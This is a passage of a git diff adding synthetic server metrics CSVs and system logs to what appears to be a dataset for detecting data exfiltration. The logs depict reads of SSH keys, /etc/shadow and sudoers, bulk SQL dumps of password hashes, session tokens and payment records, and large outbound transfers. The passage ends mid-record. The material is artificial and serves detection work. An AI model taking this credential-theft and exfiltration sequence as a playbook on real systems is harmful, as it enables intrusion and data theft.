+2025-08-12T08:07:00Z,10.18,42.13,27.65,1.17,1.42 +2025-08-12T08:07:05Z,11.83,37.03,29.35,0.83,0.86 +2025-08-12T08:07:10Z,11.13,44.83,19.31,0.87,0.59 +2025-08-12T08:07:15Z,18.53,42.87,27.62,1.39,0.84 +2025-08-12T08:07:20Z,10.48,35.06,19.09,1.36,1.47 +2025-08-12T08:07:25Z,14.99,40.59,19.7,1.47,0.91 diff --git a/mali_dataset/scenario_4/mali_4_6.log b/mali_dataset/scenario_4/mali_4_6.log new file mode 100644 index 0000000000000000000000000000000000000000..0cf99d2e60c4e609803bcf06bb6fc246a24fc3f1 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_6.log @@ -0,0 +1,9 @@ +Aug 12 08:00:15 server systemd[1]: Started User Manager for UID 1002. +Aug 12 08:00:40 server sshd[18234]: Accepted password for deploy_user from 10.8.0.15 port 51234 ssh2 +Aug 12 08:01:15 server cron[11432]: (root) CMD ( /usr/lib/apt/apt.systemd.daily ) +Aug 12 08:01:45 server auditd[512]: type=SYSCALL msg=audit(...): ... comm="rsync" exe="/usr/bin/rsync" key="sensitive_read" +Aug 12 08:01:50 server auditd[512]: type=PATH msg=audit(...): item=0 name="/srv/git/internal-repo/.git/config" ... nametype=NORMAL +Aug 12 08:02:00 server auditd[512]: type=PATH msg=audit(...): item=0 name="/etc/nginx/sites-enabled/default" ... nametype=NORMAL +Aug 12 08:02:35 server mysqld[1456]: ... [Note] User 'db_admin'@'localhost' executed: 'SELECT user_id, password_hash, email FROM production.users;' +Aug 12 08:03:00 server kernel: [UFW ALLOW] IN= OUT=eth0 SRC=172.17.0.8 DST=203.0.113.52 ... PROTO=TCP SPT=54321 DPT=9999 +Aug 12 08:07:05 server sshd[18234]: pam_unix(sshd:session): session closed for user deploy_user diff --git a/mali_dataset/scenario_4/mali_4_7.csv b/mali_dataset/scenario_4/mali_4_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..351e823c294e1aa70c87f55f1d67ece0378d0020 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-09-20T23:30:00Z,19.89,41.85,29.78,1.31,1.08 +2025-09-20T23:30:05Z,15.5,36.05,23.02,0.79,1.04 +2025-09-20T23:30:10Z,12.81,41.04,20.3,0.93,0.85 +2025-09-20T23:30:15Z,10.77,42.37,15.5,1.34,1.38 +2025-09-20T23:30:20Z,14.44,37.37,28.6,0.67,1.43 +2025-09-20T23:30:25Z,14.73,44.89,29.68,1.03,1.2 +2025-09-20T23:30:30Z,10.49,43.41,21.24,0.76,1.39 +2025-09-20T23:30:35Z,11.63,39.33,26.43,1.31,1.09 +2025-09-20T23:30:40Z,11.16,42.23,19.16,0.52,1.4 +2025-09-20T23:30:45Z,16.27,41.69,28.96,1.11,1.13 +2025-09-20T23:30:50Z,18.56,40.24,15.83,0.81,1.42 +2025-09-20T23:30:55Z,16.5,37.98,15.57,1.34,0.88 +2025-09-20T23:31:00Z,19.91,40.71,16.56,0.98,0.52 +2025-09-20T23:31:05Z,14.7,40.74,23.84,0.6,1.32 +2025-09-20T23:31:10Z,16.18,35.44,28.31,0.94,1.07 +2025-09-20T23:31:15Z,12.83,39.53,17.33,1.36,0.54 +2025-09-20T23:31:20Z,19.76,44.9,21.53,1.07,1.43 +2025-09-20T23:31:25Z,16.73,37.27,29.86,1.18,0.94 +2025-09-20T23:31:30Z,14.41,39.73,20.72,0.59,0.94 +2025-09-20T23:31:35Z,12.9,35.79,28.15,0.67,1.48 +2025-09-20T23:31:40Z,15.1,44.67,25.29,1.45,1.19 +2025-09-20T23:31:45Z,11.12,39.08,24.54,1.36,1.27 +2025-09-20T23:31:50Z,12.27,35.3,24.9,0.9,0.9 +2025-09-20T23:31:55Z,14.79,35.75,29.27,0.52,0.59 +2025-09-20T23:32:00Z,12.43,35.74,28.36,1.3,1.17 +2025-09-20T23:32:05Z,13.88,38.73,24.33,1.12,1.03 +2025-09-20T23:32:10Z,18.19,36.85,27.65,1.05,0.58 +2025-09-20T23:32:15Z,10.75,36.29,22.07,1.1,1.42 +2025-09-20T23:32:20Z,19.23,37.36,23.16,1.23,1.3 +2025-09-20T23:32:25Z,12.25,39.07,27.99,1.26,1.44 +2025-09-20T23:32:30Z,17.06,35.7,26.99,0.83,0.9 +2025-09-20T23:32:35Z,11.11,38.46,21.12,1.16,1.31 +2025-09-20T23:32:40Z,16.01,36.48,19.56,0.98,1.21 +2025-09-20T23:32:45Z,14.07,38.81,17.8,1.39,0.86 +2025-09-20T23:32:50Z,18.37,42.38,20.38,0.59,0.63 +2025-09-20T23:32:55Z,12.5,43.74,17.9,1.33,1.04 +2025-09-20T23:33:00Z,14.58,44.29,24.69,0.54,1.43 +2025-09-20T23:33:05Z,15.57,36.14,27.1,0.69,1.44 +2025-09-20T23:33:10Z,12.52,40.35,28.97,1.15,1.46 +2025-09-20T23:33:15Z,11.1,39.14,25.2,1.12,1.29 +2025-09-20T23:33:20Z,17.27,44.65,21.05,0.69,1.28 +2025-09-20T23:33:25Z,13.1,41.05,26.96,1.1,0.78 +2025-09-20T23:33:30Z,18.26,43.1,27.36,0.76,0.94 +2025-09-20T23:33:35Z,14.52,42.53,27.02,0.84,1.41 +2025-09-20T23:33:40Z,10.94,41.55,20.21,1.01,0.79 +2025-09-20T23:33:45Z,18.87,38.78,118.37,1.33,0.71 +2025-09-20T23:33:50Z,17.42,38.17,92.3,0.94,0.71 +2025-09-20T23:33:55Z,11.22,36.09,104.62,0.81,0.91 +2025-09-20T23:34:00Z,18.56,38.09,100.46,1.03,0.61 +2025-09-20T23:34:05Z,10.67,40.89,102.05,0.74,0.9 +2025-09-20T23:34:10Z,55.35,67.33,47.36,1.45,0.66 +2025-09-20T23:34:15Z,68.15,78.0,64.13,0.53,0.95 +2025-09-20T23:34:20Z,68.81,67.5,53.78,1.02,0.77 +2025-09-20T23:34:25Z,57.81,71.34,53.42,1.01,1.39 +2025-09-20T23:34:30Z,66.21,72.74,61.84,0.72,0.61 +2025-09-20T23:34:35Z,33.62,39.78,15.34,1.27,10.43 +2025-09-20T23:34:40Z,34.6,39.11,25.91,1.49,13.19 +2025-09-20T23:34:45Z,26.12,39.22,23.41,1.47,14.48 +2025-09-20T23:34:50Z,34.47,36.52,28.17,0.8,14.83 +2025-09-20T23:34:55Z,25.46,41.29,20.45,0.83,11.44 +2025-09-20T23:35:00Z,33.77,39.19,25.9,1.06,10.69 +2025-09-20T23:35:05Z,27.93,36.15,18.94,1.38,11.84 +2025-09-20T23:35:10Z,29.3,37.03,29.65,0.57,11.89 +2025-09-20T23:35:15Z,39.71,43.79,25.06,1.34,11.24 +2025-09-20T23:35:20Z,36.96,37.34,27.75,1.31,11.33 +2025-09-20T23:35:25Z,35.09,41.08,22.89,1.42,11.77 +2025-09-20T23:35:30Z,33.31,38.9,20.78,0.63,10.73 +2025-09-20T23:35:35Z,27.89,40.83,22.54,0.71,10.19 +2025-09-20T23:35:40Z,32.14,42.29,26.05,0.78,11.56 +2025-09-20T23:35:45Z,35.67,40.17,26.43,0.84,11.56 +2025-09-20T23:35:50Z,36.96,43.23,21.02,1.4,14.44 +2025-09-20T23:35:55Z,28.02,38.25,19.98,0.74,14.63 +2025-09-20T23:36:00Z,30.32,38.13,26.57,0.62,11.07 +2025-09-20T23:36:05Z,33.92,38.55,27.28,0.61,13.05 +2025-09-20T23:36:10Z,25.61,35.95,15.47,0.81,10.21 +2025-09-20T23:36:15Z,16.05,44.83,18.89,0.69,1.4 +2025-09-20T23:36:20Z,19.4,36.64,23.92,0.8,1.13 +2025-09-20T23:36:25Z,17.33,44.37,24.38,1.31,0.75 +2025-09-20T23:36:30Z,10.39,39.46,18.54,0.88,0.69 +2025-09-20T23:36:35Z,11.6,38.07,22.51,1.02,0.83 +2025-09-20T23:36:40Z,10.64,40.49,19.28,0.65,0.72 +2025-09-20T23:36:45Z,14.45,42.46,15.83,0.54,0.64 +2025-09-20T23:36:50Z,18.4,40.46,26.68,0.95,1.24 +2025-09-20T23:36:55Z,15.58,40.11,22.63,0.8,1.07 +2025-09-20T23:37:00Z,19.88,44.72,17.93,0.91,0.79 +2025-09-20T23:37:05Z,17.63,38.16,29.3,1.35,1.25 +2025-09-20T23:37:10Z,19.41,36.25,25.95,0.51,1.44 +2025-09-20T23:37:15Z,17.27,43.07,19.04,0.86,1.11 +2025-09-20T23:37:20Z,12.53,43.77,21.85,1.16,0.97 +2025-09-20T23:37:25Z,19.07,40.89,24.62,1.28,0.98 diff --git a/mali_dataset/scenario_4/mali_4_7.log b/mali_dataset/scenario_4/mali_4_7.log new file mode 100644 index 0000000000000000000000000000000000000000..c6b044fe73cdb713352972bee0609ad1b7c93eb0 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_7.log @@ -0,0 +1,9 @@ +Sep 20 23:30:15 server systemd[1]: Started User Manager for UID 1002. +Sep 20 23:30:40 server sshd[18234]: Accepted password for deploy_user from 10.8.0.15 port 51234 ssh2 +Sep 20 23:31:15 server cron[11432]: (root) CMD ( /usr/lib/apt/apt.systemd.daily ) +Sep 20 23:33:50 server auditd[512]: type=SYSCALL msg=audit(...): ... comm="pg_dump" exe="/usr/bin/pg_dump" key="sensitive_read" +Sep 20 23:33:55 server auditd[512]: type=PATH msg=audit(...): item=0 name="/var/lib/postgresql/13/main/pg_hba.conf" ... nametype=NORMAL +Sep 20 23:34:05 server auditd[512]: type=PATH msg=audit(...): item=0 name="/home/deploy/.ssh/id_rsa" ... nametype=NORMAL +Sep 20 23:34:25 server mysqld[1456]: ... [Note] User 'db_admin'@'localhost' executed: 'COPY (SELECT * FROM financial_records) TO STDOUT WITH CSV HEADER;' +Sep 20 23:34:40 server kernel: [UFW ALLOW] IN= OUT=eth0 SRC=172.17.0.8 DST=198.51.100.110 ... PROTO=TCP SPT=54321 DPT=9999 +Sep 20 23:36:40 server sshd[18234]: pam_unix(sshd:session): session closed for user deploy_user diff --git a/mali_dataset/scenario_4/mali_4_8.csv b/mali_dataset/scenario_4/mali_4_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..5531aebae869b88f87d9619d37d7dfff25b88a7e --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-10-05T14:00:00Z,17.84,37.12,15.5,1.03,0.68 +2025-10-05T14:00:05Z,16.35,36.78,24.19,0.73,0.79 +2025-10-05T14:00:10Z,12.49,41.55,24.27,0.83,0.95 +2025-10-05T14:00:15Z,17.58,35.51,26.6,1.04,0.96 +2025-10-05T14:00:20Z,13.13,35.91,18.14,1.25,1.3 +2025-10-05T14:00:25Z,19.37,42.02,17.37,0.59,1.03 +2025-10-05T14:00:30Z,10.43,42.25,25.88,1.42,1.16 +2025-10-05T14:00:35Z,14.41,40.16,24.36,0.64,1.12 +2025-10-05T14:00:40Z,19.13,41.59,16.26,1.25,0.59 +2025-10-05T14:00:45Z,14.55,38.11,22.83,0.54,0.95 +2025-10-05T14:00:50Z,15.08,35.79,28.15,1.04,0.51 +2025-10-05T14:00:55Z,10.85,42.15,15.11,0.57,1.11 +2025-10-05T14:01:00Z,14.26,42.23,20.16,1.42,0.96 +2025-10-05T14:01:05Z,17.46,35.23,23.42,1.2,1.18 +2025-10-05T14:01:10Z,18.67,36.23,26.45,0.72,1.23 +2025-10-05T14:01:15Z,13.24,39.49,19.69,0.93,1.42 +2025-10-05T14:01:20Z,11.04,38.19,26.52,0.7,0.56 +2025-10-05T14:01:25Z,18.02,39.86,18.86,1.37,1.14 +2025-10-05T14:01:30Z,13.95,35.08,16.65,1.31,1.37 +2025-10-05T14:01:35Z,16.28,39.19,27.33,0.93,1.0 +2025-10-05T14:01:40Z,10.36,39.3,24.1,1.3,1.02 +2025-10-05T14:01:45Z,13.0,42.88,23.69,0.83,0.53 +2025-10-05T14:01:50Z,10.48,37.4,15.5,1.48,0.9 +2025-10-05T14:01:55Z,13.72,37.07,28.74,0.51,1.48 +2025-10-05T14:02:00Z,12.62,35.84,26.38,1.47,0.83 +2025-10-05T14:02:05Z,19.91,35.13,24.14,0.52,0.82 +2025-10-05T14:02:10Z,13.95,41.65,19.55,1.05,0.71 +2025-10-05T14:02:15Z,13.08,38.36,24.96,0.53,1.11 +2025-10-05T14:02:20Z,12.21,44.43,21.39,1.1,0.88 +2025-10-05T14:02:25Z,14.94,40.95,27.55,0.76,1.04 +2025-10-05T14:02:30Z,10.58,38.52,109.43,0.73,0.64 +2025-10-05T14:02:35Z,12.9,42.84,113.85,1.04,0.69 +2025-10-05T14:02:40Z,12.35,43.48,106.8,0.74,1.01 +2025-10-05T14:02:45Z,19.63,36.26,105.51,0.57,1.4 +2025-10-05T14:02:50Z,16.16,43.48,114.11,0.7,0.92 +2025-10-05T14:02:55Z,18.63,36.75,108.19,0.73,0.67 +2025-10-05T14:03:00Z,10.9,44.79,99.76,1.13,1.0 +2025-10-05T14:03:05Z,11.49,36.44,114.37,0.62,1.0 +2025-10-05T14:03:10Z,55.28,75.34,55.81,0.51,1.12 +2025-10-05T14:03:15Z,61.3,67.66,63.04,0.51,1.37 +2025-10-05T14:03:20Z,58.18,75.91,60.56,0.62,0.56 +2025-10-05T14:03:25Z,61.97,73.13,46.09,1.36,0.92 +2025-10-05T14:03:30Z,66.91,65.13,52.39,1.12,1.25 +2025-10-05T14:03:35Z,57.01,69.64,49.17,0.6,1.46 +2025-10-05T14:03:40Z,62.28,74.48,52.75,1.29,0.62 +2025-10-05T14:03:45Z,25.32,38.39,17.34,1.11,8.77 +2025-10-05T14:03:50Z,35.95,38.17,22.06,1.32,11.36 +2025-10-05T14:03:55Z,25.74,40.27,15.93,0.7,10.89 +2025-10-05T14:04:00Z,28.51,38.02,18.16,0.88,8.07 +2025-10-05T14:04:05Z,37.38,42.1,25.44,1.24,8.26 +2025-10-05T14:04:10Z,27.2,37.41,16.41,0.88,9.21 +2025-10-05T14:04:15Z,31.01,36.51,28.33,1.44,9.72 +2025-10-05T14:04:20Z,33.57,44.99,29.14,0.62,10.27 +2025-10-05T14:04:25Z,29.65,43.77,26.02,0.68,8.43 +2025-10-05T14:04:30Z,25.44,35.77,27.67,1.24,11.38 +2025-10-05T14:04:35Z,27.37,37.84,22.99,0.71,0.7 +2025-10-05T14:04:40Z,30.6,36.16,22.96,0.69,1.41 +2025-10-05T14:04:45Z,39.62,43.21,23.65,1.47,0.86 +2025-10-05T14:04:50Z,33.63,36.04,26.91,1.33,1.11 +2025-10-05T14:04:55Z,31.63,36.29,15.86,0.99,1.11 +2025-10-05T14:05:00Z,33.53,35.65,21.72,1.08,0.58 +2025-10-05T14:05:05Z,31.05,42.05,26.53,0.74,1.49 +2025-10-05T14:05:10Z,36.49,39.81,27.84,1.12,1.28 +2025-10-05T14:05:15Z,28.8,41.68,29.22,0.69,8.23 +2025-10-05T14:05:20Z,39.22,38.17,25.46,0.83,10.84 +2025-10-05T14:05:25Z,37.28,40.26,21.91,1.24,8.58 +2025-10-05T14:05:30Z,26.47,35.8,23.94,0.55,10.72 +2025-10-05T14:05:35Z,32.63,39.75,25.95,0.78,9.84 +2025-10-05T14:05:40Z,31.26,44.99,21.55,0.75,9.31 +2025-10-05T14:05:45Z,27.24,43.9,17.46,1.11,11.12 +2025-10-05T14:05:50Z,17.14,40.18,16.13,0.95,0.91 +2025-10-05T14:05:55Z,14.87,41.85,25.77,0.69,1.39 +2025-10-05T14:06:00Z,12.33,42.34,20.8,1.18,0.73 +2025-10-05T14:06:05Z,16.72,41.51,29.02,0.77,0.6 +2025-10-05T14:06:10Z,15.79,39.53,15.17,0.61,0.89 +2025-10-05T14:06:15Z,14.48,40.49,23.66,0.73,1.3 +2025-10-05T14:06:20Z,15.77,43.39,28.44,1.32,1.27 +2025-10-05T14:06:25Z,13.11,43.06,18.32,0.87,1.25 +2025-10-05T14:06:30Z,16.52,38.68,19.97,0.56,0.58 +2025-10-05T14:06:35Z,10.91,43.25,22.46,1.45,1.38 +2025-10-05T14:06:40Z,13.67,40.86,20.2,0.51,0.58 +2025-10-05T14:06:45Z,15.72,35.23,23.8,1.36,0.75 +2025-10-05T14:06:50Z,18.11,35.67,21.58,0.64,0.54 +2025-10-05T14:06:55Z,14.67,37.48,15.78,1.33,1.3 +2025-10-05T14:07:00Z,16.24,44.28,21.82,1.47,0.53 +2025-10-05T14:07:05Z,15.58,44.22,16.6,0.52,1.39 +2025-10-05T14:07:10Z,13.32,42.89,25.89,1.43,1.48 +2025-10-05T14:07:15Z,11.37,42.59,25.36,0.58,1.4 +2025-10-05T14:07:20Z,19.04,39.46,15.83,1.12,1.16 +2025-10-05T14:07:25Z,12.29,38.03,27.67,1.11,0.79 diff --git a/mali_dataset/scenario_4/mali_4_8.log b/mali_dataset/scenario_4/mali_4_8.log new file mode 100644 index 0000000000000000000000000000000000000000..701fe7329d83b2ce78273331bef3397b047b2b1e --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_8.log @@ -0,0 +1,9 @@ +Oct 05 14:00:15 server systemd[1]: Started User Manager for UID 1002. +Oct 05 14:00:40 server sshd[18234]: Accepted password for deploy_user from 10.8.0.15 port 51234 ssh2 +Oct 05 14:01:15 server cron[11432]: (root) CMD ( /usr/lib/apt/apt.systemd.daily ) +Oct 05 14:02:35 server auditd[512]: type=SYSCALL msg=audit(...): ... comm="scp" exe="/usr/bin/scp" key="sensitive_read" +Oct 05 14:02:40 server auditd[512]: type=PATH msg=audit(...): item=0 name="/var/log/auth.log" ... nametype=NORMAL +Oct 05 14:02:50 server auditd[512]: type=PATH msg=audit(...): item=0 name="/etc/sudoers" ... nametype=NORMAL +Oct 05 14:03:25 server mysqld[1456]: ... [Note] User 'db_admin'@'localhost' executed: 'SELECT session_token, user_agent, ip_address FROM active_sessions;' +Oct 05 14:03:50 server kernel: [UFW ALLOW] IN= OUT=eth0 SRC=172.17.0.8 DST=192.0.2.88 ... PROTO=TCP SPT=54321 DPT=9999 +Oct 05 14:06:15 server sshd[18234]: pam_unix(sshd:session): session closed for user deploy_user diff --git a/mali_dataset/scenario_4/mali_4_9.csv b/mali_dataset/scenario_4/mali_4_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..1f66eec18c559996a85268bee2cc6f6d202e00ab --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T03:00:00Z,15.73,40.83,20.72,1.7,1.68 +2025-08-26T03:00:05Z,11.89,38.14,31.39,1.61,1.3 +2025-08-26T03:00:10Z,11.12,43.11,22.54,1.5,1.29 +2025-08-26T03:00:15Z,17.15,41.64,24.38,1.4,1.72 +2025-08-26T03:00:20Z,11.68,39.67,22.23,1.58,1.87 +2025-08-26T03:00:25Z,10.99,39.84,21.28,1.99,1.69 +2025-08-26T03:00:30Z,19.55,39.42,30.95,1.01,1.1 +2025-08-26T03:00:35Z,14.63,39.02,33.85,1.14,1.48 +2025-08-26T03:00:40Z,15.24,40.59,21.91,1.65,1.57 +2025-08-26T03:00:45Z,18.57,43.6,35.38,1.02,1.08 +2025-08-26T03:00:50Z,13.62,44.74,33.27,1.49,1.47 +2025-08-26T03:00:55Z,17.69,43.09,32.01,1.07,1.89 +2025-08-26T03:01:00Z,18.06,35.14,24.69,1.94,1.41 +2025-08-26T03:01:05Z,19.58,43.29,21.3,1.2,1.25 +2025-08-26T03:01:10Z,14.63,38.27,36.96,1.07,1.2 +2025-08-26T03:01:15Z,12.46,42.11,24.74,1.62,1.22 +2025-08-26T03:01:20Z,15.83,41.63,36.42,1.69,1.26 +2025-08-26T03:01:25Z,16.11,40.32,27.25,1.58,1.88 +2025-08-26T03:01:30Z,15.91,36.97,29.97,1.58,1.47 +2025-08-26T03:01:35Z,11.5,37.8,37.46,1.47,1.09 +2025-08-26T03:01:40Z,14.89,39.98,34.12,1.1,1.39 +2025-08-26T03:01:45Z,13.46,35.83,36.38,1.79,1.22 +2025-08-26T03:01:50Z,19.3,40.2,31.86,1.86,1.18 +2025-08-26T03:01:55Z,13.73,44.49,22.03,1.22,1.44 +2025-08-26T03:02:00Z,10.81,38.51,33.4,1.17,1.34 +2025-08-26T03:02:05Z,13.7,41.16,37.33,1.87,1.32 +2025-08-26T03:02:10Z,17.78,36.45,26.11,1.31,1.57 +2025-08-26T03:02:15Z,18.05,35.4,27.89,1.99,1.67 +2025-08-26T03:02:20Z,12.62,43.69,38.49,1.36,1.18 +2025-08-26T03:02:25Z,11.97,42.14,26.63,1.23,1.47 +2025-08-26T03:02:30Z,50.85,67.3,85.05,1.67,1.07 +2025-08-26T03:02:35Z,51.83,69.77,98.51,1.36,1.42 +2025-08-26T03:02:40Z,68.3,77.24,86.15,1.4,1.27 +2025-08-26T03:02:45Z,60.73,66.55,98.52,1.68,1.7 +2025-08-26T03:02:50Z,59.6,68.73,97.3,1.04,1.96 +2025-08-26T03:02:55Z,63.31,65.25,93.29,1.28,1.62 +2025-08-26T03:03:00Z,62.26,72.27,95.73,1.35,1.27 +2025-08-26T03:03:05Z,56.94,66.59,94.2,1.16,1.26 +2025-08-26T03:03:10Z,73.22,63.17,96.74,1.42,1.61 +2025-08-26T03:03:15Z,67.77,60.58,85.33,1.85,1.11 +2025-08-26T03:03:20Z,61.18,60.7,99.49,1.81,1.71 +2025-08-26T03:03:25Z,66.61,62.29,85.28,1.01,1.76 +2025-08-26T03:03:30Z,69.08,61.94,92.83,1.06,1.6 +2025-08-26T03:03:35Z,73.12,74.66,94.29,1.41,1.38 +2025-08-26T03:03:40Z,70.8,67.81,87.65,1.62,1.11 +2025-08-26T03:03:45Z,30.6,63.39,27.36,1.93,83.97 +2025-08-26T03:03:50Z,40.92,65.68,33.54,1.73,60.56 +2025-08-26T03:03:55Z,30.06,67.4,32.65,1.3,67.66 +2025-08-26T03:04:00Z,35.8,67.85,28.87,1.93,76.02 +2025-08-26T03:04:05Z,30.68,73.38,27.77,1.96,67.81 +2025-08-26T03:04:10Z,35.96,69.3,26.37,1.1,68.5 +2025-08-26T03:04:15Z,42.22,74.51,25.45,1.13,61.38 +2025-08-26T03:04:20Z,44.1,67.82,28.14,1.25,73.02 +2025-08-26T03:04:25Z,38.6,70.99,33.16,1.85,50.85 +2025-08-26T03:04:30Z,33.04,61.61,30.71,1.75,56.71 +2025-08-26T03:04:35Z,33.05,63.64,33.06,1.23,61.22 +2025-08-26T03:04:40Z,42.85,73.09,26.36,1.24,80.08 +2025-08-26T03:04:45Z,33.28,70.42,24.4,1.25,64.85 +2025-08-26T03:04:50Z,42.04,60.26,21.09,2.0,79.87 +2025-08-26T03:04:55Z,33.99,73.2,23.17,1.17,83.2 +2025-08-26T03:05:00Z,44.72,62.66,23.0,1.45,55.6 +2025-08-26T03:05:05Z,44.12,61.04,34.43,1.54,70.55 +2025-08-26T03:05:10Z,32.58,74.31,34.96,1.18,51.23 +2025-08-26T03:05:15Z,30.26,72.53,26.17,1.81,71.61 +2025-08-26T03:05:20Z,34.62,73.05,32.29,1.77,66.49 +2025-08-26T03:05:25Z,34.2,60.91,27.88,1.14,74.73 +2025-08-26T03:05:30Z,31.68,70.23,29.13,1.92,73.87 +2025-08-26T03:05:35Z,35.89,61.33,33.44,1.8,67.2 +2025-08-26T03:05:40Z,36.94,65.94,20.45,1.01,65.33 +2025-08-26T03:05:45Z,43.89,72.94,33.22,1.55,56.37 +2025-08-26T03:05:50Z,32.38,71.27,23.75,1.37,70.6 +2025-08-26T03:05:55Z,33.29,62.16,26.69,1.98,73.7 +2025-08-26T03:06:00Z,41.96,64.47,21.82,1.55,65.13 +2025-08-26T03:06:05Z,32.17,74.8,32.55,1.4,51.84 +2025-08-26T03:06:10Z,37.71,60.95,31.55,1.02,50.19 +2025-08-26T03:06:15Z,41.13,63.75,28.68,1.53,64.56 +2025-08-26T03:06:20Z,34.21,71.6,30.52,1.65,59.44 +2025-08-26T03:06:25Z,35.43,67.72,26.63,1.69,57.38 +2025-08-26T03:06:30Z,39.86,64.75,21.83,1.14,66.91 +2025-08-26T03:06:35Z,35.42,61.24,24.93,1.45,53.01 +2025-08-26T03:06:40Z,39.57,73.61,24.63,1.42,66.66 +2025-08-26T03:06:45Z,38.13,69.27,25.35,1.36,65.12 +2025-08-26T03:06:50Z,31.18,68.54,27.76,1.65,74.45 +2025-08-26T03:06:55Z,42.1,72.33,27.95,1.82,68.62 +2025-08-26T03:07:00Z,44.81,61.33,28.81,1.76,79.49 +2025-08-26T03:07:05Z,41.88,69.89,28.26,1.88,51.68 +2025-08-26T03:07:10Z,34.19,74.48,25.58,1.99,76.46 +2025-08-26T03:07:15Z,43.46,69.14,20.48,1.02,58.25 +2025-08-26T03:07:20Z,39.99,63.33,20.01,1.37,72.36 +2025-08-26T03:07:25Z,35.41,69.84,30.78,1.97,78.95 diff --git a/mali_dataset/scenario_4/mali_4_9.log b/mali_dataset/scenario_4/mali_4_9.log new file mode 100644 index 0000000000000000000000000000000000000000..b44fef4b9dc43cf16043ae7fadf27ccb96133c05 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_9.log @@ -0,0 +1,45 @@ +Aug 26 03:00:00 web-app[2101]: GET /api/v1/status status=200 OK +Aug 26 03:00:10 systemd[1]: Starting daily health check... +Aug 26 03:00:20 postgres[3341]: db_user: SELECT * FROM products WHERE id = 135; +Aug 26 03:00:30 web-app[2101]: GET /api/v1/status status=200 OK +Aug 26 03:00:40 systemd[1]: Starting daily health check... +Aug 26 03:00:50 postgres[3341]: db_user: SELECT * FROM products WHERE id = 132; +Aug 26 03:01:00 web-app[2101]: GET /api/v1/status status=200 OK +Aug 26 03:01:10 systemd[1]: Starting daily health check... +Aug 26 03:01:20 postgres[3341]: db_user: SELECT * FROM products WHERE id = 199; +Aug 26 03:01:30 web-app[2101]: GET /api/v1/status status=200 OK +Aug 26 03:01:40 systemd[1]: Starting daily health check... +Aug 26 03:01:50 postgres[3341]: db_user: SELECT * FROM products WHERE id = 180; +Aug 26 03:02:00 web-app[2101]: GET /api/v1/status status=200 OK +Aug 26 03:02:10 systemd[1]: Starting daily health check... +Aug 26 03:02:20 postgres[3341]: db_user: SELECT * FROM products WHERE id = 189; +Aug 26 03:02:30 postgres[3341]: backup_user: SELECT * FROM users; +Aug 26 03:02:55 postgres[3341]: backup_user: SELECT * FROM payment_details; +Aug 26 03:03:20 auditd[765]: type=SYSCALL arch=c000003e syscall=2 comm="sh" exe="/bin/bash" key="suspicious_read" path="/etc/shadow" +Aug 26 03:03:30 auditd[765]: type=SYSCALL arch=c000003e syscall=2 comm="sh" exe="/bin/bash" key="suspicious_read" path="/root/.ssh/id_rsa" +Aug 26 03:03:50 kernel: NetFlow: FLOW_RECORD 172.17.0.5:54058 -> 103.27.10.88:443, protocol: TCP, pkts: 5444, bytes: 8166010 +Aug 26 03:04:00 kernel: NetFlow: FLOW_RECORD 172.17.0.5:57230 -> 103.27.10.88:443, protocol: TCP, pkts: 5845, bytes: 8767965 +Aug 26 03:04:10 kernel: NetFlow: FLOW_RECORD 172.17.0.5:54726 -> 103.27.10.88:443, protocol: TCP, pkts: 7312, bytes: 10969368 +Aug 26 03:04:10 CRON[8901]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 03:04:20 kernel: NetFlow: FLOW_RECORD 172.17.0.5:43513 -> 103.27.10.88:443, protocol: TCP, pkts: 6612, bytes: 9918593 +Aug 26 03:04:30 kernel: NetFlow: FLOW_RECORD 172.17.0.5:42723 -> 103.27.10.88:443, protocol: TCP, pkts: 4225, bytes: 6338361 +Aug 26 03:04:40 kernel: NetFlow: FLOW_RECORD 172.17.0.5:57502 -> 103.27.10.88:443, protocol: TCP, pkts: 6977, bytes: 10465873 +Aug 26 03:04:50 kernel: NetFlow: FLOW_RECORD 172.17.0.5:52280 -> 103.27.10.88:443, protocol: TCP, pkts: 3493, bytes: 5240968 +Aug 26 03:05:00 kernel: NetFlow: FLOW_RECORD 172.17.0.5:58442 -> 103.27.10.88:443, protocol: TCP, pkts: 6972, bytes: 10458292 +Aug 26 03:05:00 CRON[8901]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 03:05:10 kernel: NetFlow: FLOW_RECORD 172.17.0.5:53428 -> 103.27.10.88:443, protocol: TCP, pkts: 6126, bytes: 9189596 +Aug 26 03:05:20 kernel: NetFlow: FLOW_RECORD 172.17.0.5:51299 -> 103.27.10.88:443, protocol: TCP, pkts: 9926, bytes: 14890316 +Aug 26 03:05:30 kernel: NetFlow: FLOW_RECORD 172.17.0.5:42772 -> 103.27.10.88:443, protocol: TCP, pkts: 9876, bytes: 14814926 +Aug 26 03:05:40 kernel: NetFlow: FLOW_RECORD 172.17.0.5:41916 -> 103.27.10.88:443, protocol: TCP, pkts: 4074, bytes: 6111061 +Aug 26 03:05:50 kernel: NetFlow: FLOW_RECORD 172.17.0.5:46809 -> 103.27.10.88:443, protocol: TCP, pkts: 6754, bytes: 10132192 +Aug 26 03:05:50 CRON[8901]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 03:06:00 kernel: NetFlow: FLOW_RECORD 172.17.0.5:40798 -> 103.27.10.88:443, protocol: TCP, pkts: 4926, bytes: 7390033 +Aug 26 03:06:10 kernel: NetFlow: FLOW_RECORD 172.17.0.5:55550 -> 103.27.10.88:443, protocol: TCP, pkts: 8051, bytes: 12077483 +Aug 26 03:06:20 kernel: NetFlow: FLOW_RECORD 172.17.0.5:45733 -> 103.27.10.88:443, protocol: TCP, pkts: 7402, bytes: 11104023 +Aug 26 03:06:30 kernel: NetFlow: FLOW_RECORD 172.17.0.5:40431 -> 